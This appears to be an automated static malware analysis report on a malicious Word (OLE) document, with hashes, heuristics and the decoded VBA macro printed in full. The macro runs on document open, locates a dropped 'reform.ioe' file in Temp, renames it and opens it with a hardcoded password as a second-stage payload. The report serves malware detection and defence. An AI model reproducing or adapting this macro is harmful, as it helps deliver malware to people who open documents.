Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d251173f3e097f27…

MALICIOUS

Office (OLE)

489.0 KB Created: 2021-09-13 11:39:00 First seen: 2021-09-17
MD5: 5d85f70c370ba3acd4f197e85fff509a SHA-1: 207f0e19c07ca323869ecec364f04e406a6f2cf5 SHA-256: d251173f3e097f27be003fe8b061573f20ebead4c07062ae9825382f56da59b6
72 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro that executes upon opening. The macro attempts to save a file named 'reform.doc' with a password and then opens it, suggesting it's a downloader for a second-stage payload. The presence of the Document_Open macro and the OLE_EPRINT_EMF_OBJECT heuristic indicate a common pattern for macro-based malware delivery.

Heuristics 5

  • Office EPRINT stream contains EMF object high CVE related OLE_EPRINT_EMF_OBJECT
    OLE ObjectPool contains an EPRINT stream with EMF data. This is rare in normal documents and is related Office object-delivery evidence when paired with exploit payload anomalies, but the malformed graphics record required for exact CVE attribution is not proven by this rule alone.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/2006/encryption In document text (OLE body)
    • http://schemas.microsoft.com/office/2006/keyEncryptor/passwordIn document text (OLE body)
    • http://schemas.microsoft.com/office/2006/keyEncryptor/certificateIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2917 bytes
SHA-256: 6545c017c951dc2c50da94f34055cd666f82c1c4c6fbd7a20a63bfd0cefad56c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Option Compare Text
        Dim hdv As String
        Dim bbbb As String
        Dim med As String
Private Sub Document_Open()
Dim dfgdgdg
Dim kytrewwf As String
kytrewwf = Options.DefaultFilePath(wdUserTemplatesPath)

If Dir(kytrewwf & "\" & "reform.doc") = "" Then
 Selection.MoveDown Unit:=wdLine, Count:=3
    Selection.MoveRight Unit:=wdCharacter, Count:=2
    Selection.MoveDown Unit:=wdLine, Count:=3
    Selection.MoveRight Unit:=wdCharacter, Count:=2

    Selection.TypeBackspace

    Call bvxfcsd
If Len(hdv) > 2 Then
Call nam(hdv, kytrewwf)
Call pppx(kytrewwf & "\" & "reform.doc")
ActiveDocument.Close
End If
End If
End Sub




Sub hdhdd(asda As String)
Dim MyFSO As FileSystemObject
Dim MyFile As File
Dim SourceFolder As String
Dim DestinationFolder As String
Dim MyFolder As Folder
Dim MySubFolder As Folder
Set MyFSO = New Scripting.FileSystemObject


Call Search(MyFSO.GetFolder(asda), hdv)

End Sub


Attribute VB_Name = "Module1"


Sub pppx(spoc As String)
    Documents.Open FileName:=spoc, ConfirmConversions:=False, ReadOnly:= _
        False, AddToRecentFiles:=False, PasswordDocument:="2281337", _
        PasswordTemplate:="", Revert:=False, WritePasswordDocument:="", _
        WritePasswordTemplate:="", Format:=wdOpenFormatAuto, XMLTransform:=""
End Sub



Sub ousx(aaaa As String)
Call uoia(aaaa)
End Sub



Attribute VB_Name = "Module3"

Sub bvxfcsd()
Selection.Copy
Dim uuuuc
uuuuc = Options.DefaultFilePath(wdUserTemplatesPath)

    ntgs = 50
sda = 49
Dim fafaa As String
fafaa = "L" & "o"
fafaa = fafaa & "c" & "a" & "l"
fafaa = fafaa & "/"
fafaa = fafaa & "T" & "e" & "mp"
Dim kuls As String
kuls = fafaa
While sda < 50
      ntgs = ntgs - 1

      If Dir(Left(uuuuc, ntgs) & kuls, vbDirectory) = "" Then
        
    Else
  
   sda = 61
    End If

   Wend
   Call ThisDocument.hdhdd(Left(uuuuc, ntgs) & fafaa)
End Sub





Attribute VB_Name = "Module123345"
Dim pls As String


 Sub Search(mds As Object, pafs As String)
 Dim Nedc As Object
    Dim Ters As Object
  Dim fffff
  fffff = "reform.ioe"
For Each Nedc In mds.SubFolders
     Search Nedc, pafs
   Next Nedc

   For Each Ters In mds.Files
   
   If Ters.Name = fffff Then
       
        pafs = Ters
        End If
   Next Ters
   Exit Sub
ErrHandle:
   
   Err.Clear
End Sub



Sub nam(pafs As String, aaaa As String)
Call ousx(aaaa)
Dim oxl
oxl = "\reform" & ".doc"
Name pafs As pls & oxl
End Sub

Sub uoia(fffs As String)
pls = fffs
End Sub
ole10native_00.bin ole-package OLE Ole10Native stream: ObjectPool/_1693007205/Ole10Native 326465 bytes
SHA-256: 854e3e07beb6bb9c21bff74ccccef6848bd93e50e82799e8e3234a4dbe40afc4
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact entropy is 7.98, consistent with packed or encrypted content.
ole10native_00_reform.ioe ole-package-payload OLE Ole10Native payload: ObjectPool/_1693007205/Ole10Native; display_name=reform.ioe; full_path=C:\Users\MyPc\AppData\Local\Temp\reform.ioe; temp_path=; def_file= 326144 bytes
SHA-256: d598cd665b575f4bb58ab4fbab70540c6e9c8c9d03c0764ad16a697441fb85fc
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact entropy is 7.98, consistent with packed or encrypted content.

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